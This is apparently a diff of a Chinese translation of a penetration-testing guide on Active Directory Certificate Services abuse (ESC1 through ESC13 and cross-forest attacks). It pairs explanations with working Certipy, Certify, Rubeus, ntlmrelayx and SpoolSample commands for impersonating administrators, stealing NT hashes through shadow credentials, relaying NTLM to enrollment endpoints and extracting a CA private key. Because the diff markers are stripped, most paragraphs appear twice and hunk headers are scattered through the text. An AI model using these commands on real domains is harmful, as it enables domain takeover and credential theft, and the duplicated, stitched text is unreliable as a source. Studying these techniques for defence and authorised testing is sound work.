具有 **无 EKU** 的证书,作为下级 CA 证书,可以被用于 **任何目的**,并且 **也可以用于签署新证书**。因此,攻击者可以通过利用下级 CA 证书指定任意 EKU 或字段在新证书中。
然而,如果下级 CA 未被 **`NTAuthCertificates`** 对象信任,则为 **域身份验证** 创建的新证书将无法正常工作,这是默认设置。尽管如此,攻击者仍然可以创建 **具有任何 EKU** 和任意证书值的新证书。这些证书可能会被 **滥用** 用于广泛的目的(例如,代码签名、服务器身份验证等),并可能对网络中其他应用程序(如 SAML、AD FS 或 IPSec产生重大影响。
然而,如果下级 CA 未被 **`NTAuthCertificates`** 对象信任(这是默认设置),则为 **域身份验证** 创建的新证书将无法正常工作。尽管如此,攻击者仍然可以创建 **具有任何 EKU** 和任意证书值的新证书。这些证书可能会被 **滥用** 用于广泛的目的(例如,代码签名、服务器身份验证等),并可能对网络中其他应用程序(如 SAML、AD FS 或 IPSec产生重大影响。
要枚举与此场景匹配的模板,可以在 AD Forest 的配置架构中运行以下 LDAP 查询:
要枚举与此场景匹配的模板,可以运行以下 LDAP 查询:
```
(&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*))))
```
## 配置错误的注册代理模板 - ESC3
## Misconfigured Enrolment Agent Templates - ESC3
### 解释
### Explanation
这个场景与第一个和第二个场景类似,但**滥用**了**不同的 EKU**(证书请求代理)和**两个不同的模板**(因此有两组要求),
**证书请求代理 EKU**OID 1.3.6.1.4.1.311.20.2.1),在微软文档中称为**注册代理**,允许一个主体**代表另一个用户**进行**证书注册**。
**证书请求代理 EKU**OID 1.3.6.1.4.1.311.20.2.1),在 Microsoft 文档中称为**Enrollment Agent**,允许一个主体**代表另一个用户**进行**证书注册**。
**“注册代理”**在这样的**模板**中注册,并使用生成的**证书代表其他用户共同签署 CSR**。然后,它将**共同签署的 CSR**发送给 CA注册一个**允许“代表注册”的模板**CA 随后返回一个**属于“其他”用户的证书**。
**“enrollment agent”** 在这样的**模板**中注册,并使用生成的**证书代表其他用户共同签署 CSR**。然后,它将**共同签署的 CSR**发送到 CA注册一个**允许“代表注册”的模板**CA 随后响应一个**属于“其他”用户的证书**。
**要求 1**
**Requirements 1:**
- 企业 CA 授予低权限用户注册权。
- 省略了经理批准的要求。
@ -93,7 +93,7 @@ Windows二进制文件 "Certreq.exe" 和 "Certutil.exe" 可用于生成 PFX: htt
- 证书模板的安全描述符过于宽松,授予低权限用户注册权。
- 证书模板包括证书请求代理 EKU允许代表其他主体请求其他证书模板。
**要求 2**
**Requirements 2:**
- 企业 CA 授予低权限用户注册权。
- 经理批准被绕过。
@ -101,7 +101,7 @@ Windows二进制文件 "Certreq.exe" 和 "Certutil.exe" 可用于生成 PFX: htt
- 证书模板中定义的 EKU 允许域身份验证。
- CA 上未对注册代理应用限制。
### 滥用
### Abuse
您可以使用 [**Certify**](https://github.com/GhostPack/Certify) 或 [**Certipy**](https://github.com/ly4k/Certipy) 来滥用此场景:
```bash
@ -117,9 +117,9 @@ certipy req -username john@corp.local -password Pass0rd! -target-ip ca.corp.loca
# Use Rubeus with the certificate to authenticate as the other user
Rubeu.exe asktgt /user:CORP\itadmin /certificate:itadminenrollment.pfx /password:asdf
```
允许**获取**注册代理证书的**用户**、注册**代理**被允许注册的模板,以及注册代理可以代表其行动的**户**可以通过企业CA进行限制。这是通过打开`certsrc.msc` **管理单元****右键单击CA****点击属性**,然后**导航**到“注册代理”选项卡来实现的。
允许**获取**注册代理证书的**用户**、注册**代理**被允许注册的模板,以及注册代理可以代表其行动的**户**可以通过企业CA进行限制。这是通过打开`certsrc.msc` **管理单元****右键单击CA****点击属性**,然后**导航**到“注册代理”选项卡来实现的。
然而值得注意的是CA的**默认**设置是“**不限制注册代理**。”当管理员启用对注册代理的限制,将其设置为“限制注册代理”,默认配置仍然非常宽松。它允许**所有人**以任何身份访问所有模板进行注册。
然而值得注意的是CA的**默认**设置是“**不限制注册代理**。”当管理员启用对注册代理的限制,将其设置为“限制注册代理”,默认配置仍然非常宽松。它允许**所有人**以任何身份访问所有模板进行注册。
## 脆弱的证书模板访问控制 - ESC4
@ -145,7 +145,7 @@ Rubeu.exe asktgt /user:CORP\itadmin /certificate:itadminenrollment.pfx /password
ESC4是指用户对证书模板具有写权限。这可以被滥用例如覆盖证书模板的配置使模板易受ESC1攻击。
正如我们在上面的路径中看到的,只有`JOHNPC`拥有这些权限,但我们的用户`JOHN``JOHNPC`有新的`AddKeyCredentialLink`边缘。由于此技术与证书相关,我也实了这种攻击,称为[Shadow Credentials](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab)。这是Certipy的`shadow auto`命令的一个小预览用于检索受害者的NT哈希。
正如我们在上面的路径中看到的,只有`JOHNPC`拥有这些权限,但我们的用户`JOHN``JOHNPC`有新的`AddKeyCredentialLink`边缘。由于此技术与证书相关,我也实了这种攻击,称为[Shadow Credentials](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab)。以下是Certipy的`shadow auto`命令的简要预览用于检索受害者的NT哈希。
```bash
certipy shadow auto 'corp.local/john:Passw0rd!@dc.corp.local' -account 'johnpc'
```
@ -164,11 +164,11 @@ certipy template -username john@corp.local -password Passw0rd -template ESC4-Tes
### Explanation
广泛的基于ACL的关系网络包括多个超出证书模板和证书颁发机构的对象可能会影响整个AD CS系统的安全性。这些可能显著影响安全性的对象包括:
广泛的基于ACL的关系网络包括多个超出证书模板和证书颁发机构的对象可能会影响整个AD CS系统的安全性。这些对象可能显著影响安全性,包括:
- CA服务器的AD计算机对象可能通过S4U2Self或S4U2Proxy等机制被攻陷。
- CA服务器的RPC/DCOM服务器。
- 在特定容器路径`CN=Public Key Services,CN=Services,CN=Configuration,DC=<DOMAIN>,DC=<COM>`内的任何后代AD对象或容器。该路径包括但不限于证书模板容器、认证机构容器、NTAuthCertificates对象和注册服务容器等容器和对象
- 在特定容器路径`CN=Public Key Services,CN=Services,CN=Configuration,DC=<DOMAIN>,DC=<COM>`内的任何后代AD对象或容器。该路径包括但不限于容器和对象,如证书模板容器、认证机构容器、NTAuthCertificates对象和注册服务容器。
如果低权限攻击者设法控制这些关键组件中的任何一个PKI系统的安全性可能会受到威胁。
@ -176,7 +176,7 @@ certipy template -username john@corp.local -password Passw0rd -template ESC4-Tes
### Explanation
在[**CQure Academy post**](https://cqureacademy.com/blog/enhanced-key-usage)中讨论的主题也涉及**`EDITF_ATTRIBUTESUBJECTALTNAME2`**标志的影响,如微软所述。当在证书颁发机构CA上激活此配置时允许在**任何请求**的**主题备用名称**中包含**用户定义的值**包括那些由Active Directory®构建的请求。因此这一条款允许**入侵者**通过为域**身份验证**设置的**任何模板**进行注册——特别是那些对**无特权**用户注册开放的模板,如标准用户模板。结果,可以获得证书,使入侵者能够以域管理员或**域内任何其他活动实体**的身份进行身份验证。
在[**CQure Academy post**](https://cqureacademy.com/blog/enhanced-key-usage)中讨论的主题也涉及**`EDITF_ATTRIBUTESUBJECTALTNAME2`**标志的影响,如微软所述。当在证机构CA上激活此配置时允许在**任何请求**的**主题备用名称**中包含**用户定义的值**包括那些由Active Directory®构建的请求。因此这一条款允许**入侵者**通过为域**身份验证**设置的**任何模板**进行注册——特别是那些对**无特权**用户注册开放的模板,如标准用户模板。结果,可以获得证书,使入侵者能够以域管理员或**域内任何其他活动实体**的身份进行身份验证。
**注意**:通过`certreq.exe`中的`-attrib "SAN:"`参数将**备用名称**附加到证书签名请求CSR的方法称为“名称值对”与ESC1中SAN的利用策略存在**对比**。这里的区别在于**账户信息的封装方式**——在证书属性中,而不是扩展中。
@ -208,8 +208,8 @@ certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags +EDITF_ATTRIBUTESUBJ
certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2
```
> [!WARNING]
> 在2022年5月的安全更新之后新颁发的**证书**将包含一个**安全扩展**,该扩展包含**请求者的 `objectSid` 属性**。对于ESC1此SID源自指定的SAN。然而对于**ESC6**SID反映的是**请求者的 `objectSid`**而不是SAN。\
> 要利用ESC6系统必须易受ESC10弱证书映射的影响,该漏洞优先考虑**SAN而不是新的安全扩展**。
> 在2022年5月的安全更新之后新颁发的**证书**将包含一个**安全扩展**,该扩展包含**请求者的`objectSid`属性**。对于ESC1此SID源自指定的SAN。然而对于**ESC6**SID反映的是**请求者的`objectSid`**而不是SAN。\
> 要利用ESC6系统必须对ESC10弱证书映射易受攻击,该漏洞优先考虑**SAN而不是新的安全扩展**。
## 易受攻击的证书颁发机构访问控制 - ESC7
@ -221,18 +221,18 @@ certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJ
```bash
Get-CertificationAuthority -ComputerName dc.domain.local | Get-CertificationAuthorityAcl | select -expand Access
```
这提供了主要权限的见解,即 **`ManageCA`** 和 **`ManageCertificates`**,分别“CA管理员”和“证书管理器”的角色相关
这提供了主要权限的见解,即 **`ManageCA`** 和 **`ManageCertificates`**,分别对应于“CA管理员”和“证书管理器”的角色。
#### 滥用
在证书颁发机构拥有 **`ManageCA`** 权限使得主体能够使用 PSPKI 远程操控设置。这包括切换 **`EDITF_ATTRIBUTESUBJECTALTNAME2`** 标志,以允许在任何模板中指定 SAN这是域升的一个关键方面。
在证书颁发机构拥有 **`ManageCA`** 权限使得主体能够使用 PSPKI 远程操控设置。这包括切换 **`EDITF_ATTRIBUTESUBJECTALTNAME2`** 标志,以允许在任何模板中指定 SAN这是域升的一个关键方面。
通过使用 PSPKI 的 **Enable-PolicyModuleFlag** cmdlet可以简化此过程允许在不直接与 GUI 交互的情况下进行修改。
拥有 **`ManageCertificates`** 权限可以批准待处理的请求有效地绕过“CA 证书管理器批准”保护。
可以结合 **Certify****PSPKI** 模块来请求、批准和下载证书:
```powershell
```bash
# Request a certificate that will require an approval
Certify.exe request /ca:dc.domain.local\theshire-DC-CA /template:ApprovalNeeded
[...]
@ -247,12 +247,12 @@ Get-CertificationAuthority -ComputerName dc.domain.local | Get-PendingRequest -R
# Download the certificate
Certify.exe download /ca:dc.domain.local\theshire-DC-CA /id:336
```
### 攻击 2
### Attack 2
#### 解释
#### Explanation
> [!WARNING]
> 在**之前的攻击**中,**`Manage CA`** 权限被用来**启用** **EDITF_ATTRIBUTESUBJECTALTNAME2** 标志以执行 **ESC6 攻击**,但这在 CA 服务`CertSvc`)重启之前不会产生任何效果。当用户拥有 `Manage CA` 访问权限时,用户也被允许**重启服务**。然而,这**并不意味着用户可以远程重启服务**。此外,由于 2022 年 5 月的安全更新,**ESC6 可能在大多数已修补的环境中无法正常工作**
> 在**之前的攻击**中,**`Manage CA`** 权限被用来**启用** **EDITF_ATTRIBUTESUBJECTALTNAME2** 标志以执行 **ESC6 攻击**,但这在 CA 服务 (`CertSvc`) 重启之前不会有任何效果。当用户拥有 `Manage CA` 访问权限时,用户也被允许**重启服务**。然而,这**并不意味着用户可以远程重启服务**。此外,**ESC6 在大多数已修补的环境中可能无法直接使用**,这是由于 2022 年 5 月的安全更新
因此,这里提出了另一个攻击。
@ -264,16 +264,16 @@ Certify.exe download /ca:dc.domain.local\theshire-DC-CA /id:336
该技术依赖于拥有 `Manage CA` _和_ `Manage Certificates` 访问权限的用户可以**发出失败的证书请求**。**`SubCA`** 证书模板**易受 ESC1 攻击**,但**只有管理员**可以注册该模板。因此,**用户**可以**请求**注册 **`SubCA`** - 这将被**拒绝** - 但**随后由管理员发放**。
#### 滥用
#### Abuse
您可以通过将自己添加为新官员来**授予自己 `Manage Certificates`** 访问权限。
您可以通过将您的用户添加为新官员来**授予自己 `Manage Certificates`** 访问权限。
```bash
certipy ca -ca 'corp-DC-CA' -add-officer john -username john@corp.local -password Passw0rd
Certipy v4.0.0 - by Oliver Lyak (ly4k)
[*] Successfully added officer 'John' on 'corp-DC-CA'
```
**`SubCA`** 模板可以通过 `-enable-template` 参数在 CA 上 **启用**。默认情况下,`SubCA` 模板是启用的。
**`SubCA`** 模板可以通过 `-enable-template` 参数在 CA 上启用。默认情况下,`SubCA` 模板是启用的。
```bash
# List templates
certipy ca -username john@corp.local -password Passw0rd! -target-ip ca.corp.local -ca 'corp-CA' -enable-template 'SubCA'
@ -285,9 +285,9 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k)
[*] Successfully enabled 'SubCA' on 'corp-DC-CA'
```
如果我们满足了此攻击的先决条件,我们可以开始**请求基于 `SubCA` 模板的证书**。
如果我们满足了此攻击的先决条件,我们可以开始**请求基于`SubCA`模板的证书**。
**此请求将被拒绝**,但我们将保存私钥并记录请求 ID。
**此请求将被拒绝**但我们将保存私钥并记录请求ID。
```bash
certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template SubCA -upn administrator@corp.local
Certipy v4.0.0 - by Oliver Lyak (ly4k)
@ -299,7 +299,7 @@ Would you like to save the private key? (y/N) y
[*] Saved private key to 785.key
[-] Failed to request certificate
```
通过我们的 **`Manage CA``Manage Certificates`**,我们可以使用 `ca` 命令和 `-issue-request <request ID>` 参数 **发失败的证书** 请求。
通过我们的 **`Manage CA``Manage Certificates`**,我们可以使用 `ca` 命令和 `-issue-request <request ID>` 参数 **失败的证书** 请求。
```bash
certipy ca -ca 'corp-DC-CA' -issue-request 785 -username john@corp.local -password Passw0rd
Certipy v4.0.0 - by Oliver Lyak (ly4k)
@ -323,16 +323,16 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k)
### 解释
> [!NOTE]
> 在**安装了AD CS**的环境中,如果存在**易受攻击的Web注册端点**,并且至少发布了一个**允许域计算机注册和客户端身份验证的证书模板**(例如默认的**`Machine`**模板),那么**任何具有活动的spooler服务的计算机都可能被攻击者攻陷**
> 在**安装了AD CS**的环境中,如果存在**易受攻击的Web注册端点**,并且至少有一个**证书模板已发布**允许**域计算机注册和客户端身份验证**(例如默认的**`Machine`**模板),那么**任何具有活动的spooler服务的计算机都可能被攻击者攻陷**
AD CS支持几种**基于HTTP的注册方法**这些方法通过管理员可以安装的额外服务器角色提供。这些用于基于HTTP的证书注册的接口易受**NTLM中继攻击**的影响。攻击者可以从**被攻陷的机器上冒充任何通过入站NTLM进行身份验证的AD账户**。在冒充受害者账户的同时攻击者可以访问这些Web接口以**使用`User``Machine`证书模板请求客户端身份验证证书**。
AD CS支持几种**基于HTTP的注册方法**这些方法通过管理员可以安装的额外服务器角色提供。这些用于基于HTTP的证书注册的接口易受**NTLM中继攻击**。攻击者可以从**被攻陷的机器上冒充任何通过入站NTLM进行身份验证的AD账户**。在冒充受害者账户的同时攻击者可以访问这些Web接口以**使用`User``Machine`证书模板请求客户端身份验证证书**。
- **Web注册接口**一个可在`http://<caserver>/certsrv/`访问的旧ASP应用程序默认仅支持HTTP这并不提供对NTLM中继攻击的保护。此外它明确仅允许通过其Authorization HTTP头进行NTLM身份验证使得更安全的身份验证方法如Kerberos不适用。
- **证书注册服务**CES、**证书注册策略**CEPWeb服务和**网络设备注册服务**NDES默认通过其Authorization HTTP头支持协商身份验证。协商身份验证**同时支持**Kerberos和**NTLM**,允许攻击者在中继攻击期间**降级为NTLM**身份验证。尽管这些Web服务默认启用HTTPS但仅靠HTTPS**并不能保护免受NTLM中继攻击**。HTTPS服务的NTLM中继攻击保护只有在HTTPS与通道绑定结合时才能实现。遗憾的是AD CS并未在IIS上启用身份验证的扩展保护而这对于通道绑定是必需的。
- **Web注册接口**(可在`http://<caserver>/certsrv/`访问的旧ASP应用程序默认仅支持HTTP这并不提供对NTLM中继攻击的保护。此外它明确仅允许通过其Authorization HTTP头进行NTLM身份验证使得更安全的身份验证方法如Kerberos不适用。
- **证书注册服务**CES、**证书注册策略**CEPWeb服务和**网络设备注册服务**NDES默认通过其Authorization HTTP头支持协商身份验证。协商身份验证**同时支持**Kerberos和**NTLM**,允许攻击者在中继攻击期间**降级为NTLM**身份验证。尽管这些Web服务默认启用HTTPS但仅靠HTTPS**并不能保护免受NTLM中继攻击**。对于HTTPS服务只有在HTTPS与通道绑定结合时才能防止NTLM中继攻击。不幸的是AD CS并未在IIS上启用身份验证的扩展保护而这对于通道绑定是必需的。
NTLM中继攻击的一个常见**问题**是**NTLM会话的短暂持续时间**以及攻击者无法与**需要NTLM签名**的服务进行交互。
然而,这一限制可以通过利用NTLM中继攻击来获取用户的证书来克服,因为证书的有效期决定了会话的持续时间,并且该证书可以与**要求NTLM签名**的服务一起使用。有关如何使用被盗证书的说明,请参见:
然而,通过利用NTLM中继攻击获取用户的证书可以克服这一限制,因为证书的有效期决定了会话的持续时间,并且该证书可以与**要求NTLM签名**的服务一起使用。有关如何使用被盗证书的说明,请参见:
{{#ref}}
account-persistence.md
@ -357,7 +357,7 @@ Certify.exe cas
certutil.exe -enrollmentServerURL -config DC01.DOMAIN.LOCAL\DOMAIN-CA
```
<figure><img src="../../../images/image (757).png" alt=""><figcaption></figcaption></figure>
```powershell
```bash
Import-Module PSPKI
Get-CertificationAuthority | select Name,Enroll* | Format-List *
```
@ -380,9 +380,9 @@ execute-assembly C:\SpoolSample\SpoolSample\bin\Debug\SpoolSample.exe <victim> <
```
#### Abuse with [Certipy](https://github.com/ly4k/Certipy)
默认情况下Certipy 根据模板 `Machine``User` 发出证书请求,这取决于被中继的帐户名称是否以 `$` 结尾。可以通过使用 `-template` 参数来指定替代模板。
证书请求默认由 Certipy 基于模板 `Machine``User` 发出,具体取决于被中继的账户名称是否以 `$` 结尾。可以通过使用 `-template` 参数来指定替代模板。
然后可以使用像 [PetitPotam](https://github.com/ly4k/PetitPotam) 这样的技术来强制身份验证。处理域控制器时,需要指定 `-template DomainController`
然后可以使用像 [PetitPotam](https://github.com/ly4k/PetitPotam) 这样的技术来强制身份验证。处理域控制器时,需要指定 `-template DomainController`
```bash
certipy relay -ca ca.corp.local
Certipy v4.0.0 - by Oliver Lyak (ly4k)
@ -399,7 +399,7 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k)
### 解释
新的值 **`CT_FLAG_NO_SECURITY_EXTENSION`** (`0x80000`) 对于 **`msPKI-Enrollment-Flag`**,称为 ESC9防止在证书中嵌入 **新的 `szOID_NTDS_CA_SECURITY_EXT` 安全扩展**。当 `StrongCertificateBindingEnforcement` 设置为 `1`(默认设置)时,该标志变得相关,这与设置为 `2` 相对。在可能被利用的情况下,例如 Kerberos 或 Schannel 的较弱证书映射(如 ESC10其相关性更高因为缺少 ESC9 不会改变要求。
新的值 **`CT_FLAG_NO_SECURITY_EXTENSION`** (`0x80000`) 对于 **`msPKI-Enrollment-Flag`**,称为 ESC9防止在证书中嵌入 **新的 `szOID_NTDS_CA_SECURITY_EXT` 安全扩展**。当 `StrongCertificateBindingEnforcement` 设置为 `1`(默认设置)时,该标志变得相关,这与设置为 `2` 的情况形成对比。在可能被利用的情况下,例如 Kerberos 或 Schannel 的较弱证书映射(如 ESC10其相关性更高因为缺少 ESC9 不会改变要求。
该标志设置变得重要的条件包括:
@ -412,7 +412,7 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k)
假设 `John@corp.local``Jane@corp.local` 拥有 `GenericWrite` 权限,目标是妥协 `Administrator@corp.local``ESC9` 证书模板,`Jane@corp.local` 被允许注册,已在其 `msPKI-Enrollment-Flag` 设置中配置了 `CT_FLAG_NO_SECURITY_EXTENSION` 标志。
最初,使用 Shadow Credentials 获取 `Jane` 的哈希,得益`John``GenericWrite`
最初,`Jane` 的哈希是通过 Shadow Credentials 获取的,这要归功`John``GenericWrite`
```bash
certipy shadow auto -username John@corp.local -password Passw0rd! -account Jane
```
@ -432,7 +432,7 @@ certipy req -username jane@corp.local -hashes <hash> -ca corp-DC-CA -template ES
```bash
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Jane@corp.local
```
尝试使用颁发的证书进行身份验证现在会产生 `Administrator@corp.local` 的 NT 哈希。由于证书缺乏域规范,命令必须包 `-domain <domain>`
尝试使用颁发的证书进行身份验证现在会产生 `Administrator@corp.local` 的 NT 哈希。由于证书缺乏域规范,命令必须包 `-domain <domain>`
```bash
certipy auth -pfx adminitrator.pfx -domain corp.local
```
@ -440,26 +440,26 @@ certipy auth -pfx adminitrator.pfx -domain corp.local
### 解释
域控制器上的两个注册表项值被称为 ESC10
域控制器上的两个注册表键值被ESC10引用
- `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel``CertificateMappingMethods` 的默认值为 `0x18` (`0x8 | 0x10`),之前设置为 `0x1F`
- `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc``StrongCertificateBindingEnforcement` 的默认设置为 `1`,之前为 `0`
- `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel`下的`CertificateMappingMethods`的默认值为`0x18``0x8 | 0x10`),之前设置为`0x1F`
- `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc`下的`StrongCertificateBindingEnforcement`的默认设置为`1`,之前为`0`
**案例 1**
`StrongCertificateBindingEnforcement` 配置为 `0`
`StrongCertificateBindingEnforcement`配置为`0`
**案例 2**
如果 `CertificateMappingMethods` 包含 `UPN` 位 (`0x4`)
如果`CertificateMappingMethods`包含`UPN`位(`0x4`
### 滥用案例 1
`StrongCertificateBindingEnforcement` 配置为 `0` 的情况下,具有 `GenericWrite` 权限的账户 A 可以被利用来妥协任何账户 B。
`StrongCertificateBindingEnforcement`配置为`0`的情况下,具有`GenericWrite`权限的账户A可以被利用来妥协任何账户B。
例如,拥有对 `Jane@corp.local` `GenericWrite` 权限,攻击者旨在妥协 `Administrator@corp.local`。该过程与 ESC9 相似,允许使用任何证书模板。
例如,拥有对`Jane@corp.local``GenericWrite`权限,攻击者旨在妥协`Administrator@corp.local`。该过程与ESC9相似允许使用任何证书模板。
最初,使用 Shadow Credentials 获取 `Jane` 的哈希,利用 `GenericWrite`
最初,使用Shadow Credentials检索`Jane`的哈希,利用`GenericWrite`
```bash
certipy shadow autho -username John@corp.local -p Passw0rd! -a Jane
```
@ -481,7 +481,7 @@ certipy auth -pfx administrator.pfx -domain corp.local
```
### Abuse Case 2
`CertificateMappingMethods` 包含 `UPN` 位标志 (`0x4`) 的情况下,具有 `GenericWrite` 权限的账户 A 可以破坏任何缺少 `userPrincipalName` 属性的账户 B包括计算机账户和内置域管理员 `Administrator`
`CertificateMappingMethods` 包含 `UPN` 位标志 (`0x4`) 的情况下,具有 `GenericWrite` 权限的账户 A 可以破坏任何缺少 `userPrincipalName` 属性的账户 B包括机账户和内置域管理员 `Administrator`
在这里,目标是破坏 `DC$@corp.local`,首先通过 Shadow Credentials 获取 `Jane` 的哈希,利用 `GenericWrite`
```bash
@ -491,7 +491,7 @@ certipy shadow auto -username John@corp.local -p Passw0rd! -account Jane
```bash
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn 'DC$@corp.local'
```
作为 `Jane` 请求客户端身份验证的证书,使用默认的 `User` 模板。
请求一个用于客户端身份验证的证书,作为 `Jane` 使用默认的 `User` 模板。
```bash
certipy req -ca 'corp-DC-CA' -username Jane@corp.local -hashes <hash>
```
@ -503,17 +503,17 @@ certipy account update -username John@corp.local -password Passw0rd! -user Jane
```bash
certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell
```
通过LDAP shell命令如`set_rbcd`使资源基于约束的委派RBCD攻击成为可能从而可能危及域控制器。
通过LDAP shell命令如`set_rbcd`使得基于资源的受限委派RBCD攻击成为可能从而可能危及域控制器。
```bash
certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell
```
此漏洞还扩展到任何缺少 `userPrincipalName` 的用户帐户,或其与 `sAMAccountName` 不匹配的帐户,默认的 `Administrator@corp.local` 是一个主要目标,因为它具有提升的 LDAP 权限,并且默认情况下缺少 `userPrincipalName`
此漏洞还扩展到任何缺少 `userPrincipalName` 的用户帐户,或其与 `sAMAccountName` 不匹配的情况,默认的 `Administrator@corp.local` 是一个主要目标,因为它具有提升的 LDAP 权限,并且默认情况下缺少 `userPrincipalName`
## Relaying NTLM to ICPR - ESC11
### 解释
### Explanation
如果 CA 服务器未配置 `IF_ENFORCEENCRYPTICERTREQUEST`,则可以通过 RPC 服务进行未签名的 NTLM 中继攻击。[参考在这里](https://blog.compass-security.com/2022/11/relaying-to-ad-certificate-services-over-rpc/)。
如果 CA 服务器未配置 `IF_ENFORCEENCRYPTICERTREQUEST`,则可以通过 RPC 服务进行未签名的 NTLM 中继攻击。[Reference in here](https://blog.compass-security.com/2022/11/relaying-to-ad-certificate-services-over-rpc/)。
您可以使用 `certipy` 来枚举 `Enforce Encryption for Requests` 是否被禁用certipy 将显示 `ESC11` 漏洞。
```bash
@ -561,7 +561,7 @@ $ ntlmrelayx.py -t rpc://192.168.100.100 -rpc-mode ICPR -icpr-ca-name DC01-CA -s
```
## Shell access to ADCS CA with YubiHSM - ESC12
### 解释
### Explanation
管理员可以设置证书颁发机构将其存储在外部设备上如“Yubico YubiHSM2”。
@ -569,9 +569,9 @@ $ ntlmrelayx.py -t rpc://192.168.100.100 -rpc-mode ICPR -icpr-ca-name DC01-CA -s
此密钥/密码以明文形式存储在注册表中,路径为`HKEY_LOCAL_MACHINE\SOFTWARE\Yubico\YubiHSM\AuthKeysetPassword`
参考[这里](https://pkiblog.knobloch.info/esc12-shell-access-to-adcs-ca-with-yubihsm)。
参考在 [here](https://pkiblog.knobloch.info/esc12-shell-access-to-adcs-ca-with-yubihsm)。
### 滥用场景
### Abuse Scenario
如果CA的私钥存储在物理USB设备上当你获得shell访问时可以恢复该密钥。
@ -589,12 +589,12 @@ $ certutil -csp "YubiHSM Key Storage Provider" -repairstore -user my <CA Common
### 解释
`msPKI-Certificate-Policy` 属性允许将发行政策添加到证书模板中。负责发行政策的 `msPKI-Enterprise-Oid` 对象可以在 PKI OID 容器的配置命名上下文 (CN=OID,CN=Public Key Services,CN=Services) 中发现。可以使用该对象的 `msDS-OIDToGroupLink` 属性将政策链接到 AD 组,从而使系统能够授权呈现证书的用户,仿佛他是该组的成员。[参考在这里](https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53)。
`msPKI-Certificate-Policy` 属性允许将发行政策添加到证书模板中。负责发行政策的 `msPKI-Enterprise-Oid` 对象可以在 PKI OID 容器的配置命名上下文 (CN=OID,CN=Public Key Services,CN=Services) 中发现。可以使用该对象的 `msDS-OIDToGroupLink` 属性将政策链接到 AD 组,从而使系统能够授权呈现证书的用户,仿佛他是该组的成员。[Reference in here](https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53)。
换句话说,当用户有权注册证书且证书链接到 OID 组时,用户可以继承该组的权限。
换句话说,当用户有权注册证书且证书链接到 OID 组时,用户可以继承该组的权限。
使用 [Check-ADCSESC13.ps1](https://github.com/JonasBK/Powershell/blob/master/Check-ADCSESC13.ps1) 查找 OIDToGroupLink
```powershell
使用 [Check-ADCSESC13.ps1](https://github.com/JonasBK/Powershell/blob/master/Check-ADCSESC13.ps1) 查找 OIDToGroupLink:
```bash
Enumerating OIDs
------------------------
OID 23541150.FCB720D24BC82FBD1A33CB406A14094D links to group: CN=VulnerableGroup,CN=Users,DC=domain,DC=local
@ -629,11 +629,13 @@ certipy req -u "John@domain.local" -p "password" -dc-ip 192.168.100.100 -target
### 被妥协的CA破坏森林信任
**跨森林注册**的配置相对简单。资源森林的**根CA证书**由管理员**发布到账户森林**,资源森林的**企业CA**证书被**添加到每个账户森林中的`NTAuthCertificates`和AIA容器**。为了澄清,这种安排赋予了资源森林中的**CA对其管理的所有其他森林的完全控制**。如果该CA被**攻击者妥协**,则资源森林和账户森林中所有用户的证书都可能被**伪造**,从而破坏森林的安全边界。
**跨森林注册**的配置相对简单。资源森林的**根CA证书**由管理员**发布到账户森林**,资源森林的**企业CA**证书被**添加到每个账户森林中的`NTAuthCertificates`和AIA容器**。为了澄清,这种安排授予资源森林中的**CA对其管理的所有其他森林的完全控制**。如果该CA被**攻击者妥协**,则资源森林和账户森林中所有用户的证书都可能被**伪造**,从而破坏森林的安全边界。
### 授予外部主体的注册权限
在多森林环境中,必须谨慎对待**发布证书模板**的企业CA这些模板允许**经过身份验证的用户或外部主体**属于企业CA所属森林的外部用户/组)**注册和编辑权限**。\
在信任关系中进行身份验证后,**经过身份验证的用户SID**会被AD添加到用户的令牌中。因此如果一个域拥有一个企业CA其模板**允许经过身份验证的用户注册权限**,则来自不同森林的用户可能会**注册该模板**。同样,如果**模板明确授予外部主体注册权限**,则**跨森林访问控制关系由此创建**,使得一个森林中的主体能够**注册另一个森林中的模板**。
这两种情况都会导致**攻击面从一个森林增加到另一个森林**。攻击者可能利用证书模板的设置在外部域中获得额外权限。
这两种情况都会导致**攻击面从一个森林增加到另一个森林**。攻击者可以利用证书模板的设置在外部域中获得额外权限。
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -4,18 +4,18 @@
## Constrained Delegation
使用此功能,域管理员可以**允许**计算机**冒充用户或计算机**以访问机器的**服务**。
使用此功能,域管理员可以**允许**计算机**模拟用户或计算机**对任何机器的**服务**。
- **Service for User to self (**_**S4U2self**_**):** 如果**服务账户**的_userAccountControl_值包含[TRUSTED_TO_AUTH_FOR_DELEGATION](<https://msdn.microsoft.com/en-us/library/aa772300(v=vs.85).aspx>) (T2A4D),则它可以代表任何其他用户为自己(服务获取TGS。
